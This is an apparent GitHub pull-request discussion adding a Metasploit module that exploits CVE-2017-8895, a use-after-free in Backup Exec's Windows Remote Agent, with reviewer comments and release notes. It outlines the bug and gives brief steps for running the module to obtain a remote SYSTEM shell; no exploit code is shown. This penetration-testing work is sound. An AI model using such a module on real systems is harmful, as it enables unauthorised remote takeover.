Exploit module for CVE-2017-8895, UAF in Backup Exec Windows agent #8442
Conversation
This module exploits a use-after-free vulnerability in the handling of SSL NDMP connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL is re-established on a NDMP connection that previously has had SSL established, the BIO struct for the connection's previous SSL session is reused, even though it has previously been freed. Successful exploitation will give remote code execution as the user of the Backup Exec Remote Agent for Windows service, almost always NT AUTHORITY\SYSTEM.
|
Really impressive work with it being a remote uaf and all, and cynical 20-year-old-me is smirking due to all the headaches this software caused him. I've run into the same situation with multiple large payload chains for different versions. I had a working solution at the time in selectively loading each version as needed. Unfortunately, I think that code may be gone for good. I have to step out for awhile but I'll take a look tonight. Edit: as far as the NDMP mixin, I'll let others weigh in on what should be done; however, we're not totally adverse to the idea of rewriting existing modules if it's a significant enough improvement and isn't a monumental task. |
|
Again, really strong first time module. Apologies that it took so long. |
Release NotesThe exploits/windows/backupexec/ssl_uaf module has been added to the framework. This module exploits a use-after-free vulnerability in the handling of SSL NDMP connections in Veritas/Symantec Backup Exec's Remote Agent for Windows (CVE-2017-8895). This allows you to remotely execute code over an unauthenticated network connection. |
|
+1 to this! Great PR, very nicely done. |
This module exploits a use-after-free vulnerability in the handling of SSL NDMP connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL is re-established on a NDMP connection that previously has had SSL established, the
BIOstruct for the connection's previous SSL session is reused, even though it has previously been freed.Successful exploitation will give remote code execution as the user of the Backup Exec Remote Agent for Windows service, almost always
NT AUTHORITY\SYSTEM.Verification
msfconsole.checkcommand.set target [TARGET].exploitcommand.NT AUTHORITY\SYSTEMshell :)An example session is as follows:
More detail in the commit that adds documentation!
I appreciate that the exploit module itself is rather large, but a large part is ROPchains for multiple stages across multiple versions of both 32- and 64-bit agents. Keen to know if there's a better way that exploits normally include such ROPchains in MSF code.
In addition, this adds a new mixin,
Msf::Exploit::Remote::NDMPSocket. This provides theNDMP::SocketandNDMP::Messageclasses to an exploit, which is used for NDMP protocol handling. There's the existingMsf::Exploit::Remote::NDMPmixin but this only allows a single socket to be used, and has limited handling of packet fragmentation and message (de-)serialisation. I realise a doubleup of functionality is not ideal, but I'm hesitant to rewrite the existing exploits that make use of the old module. Some guidance as to if this approach is acceptable or what to do instead would be great too.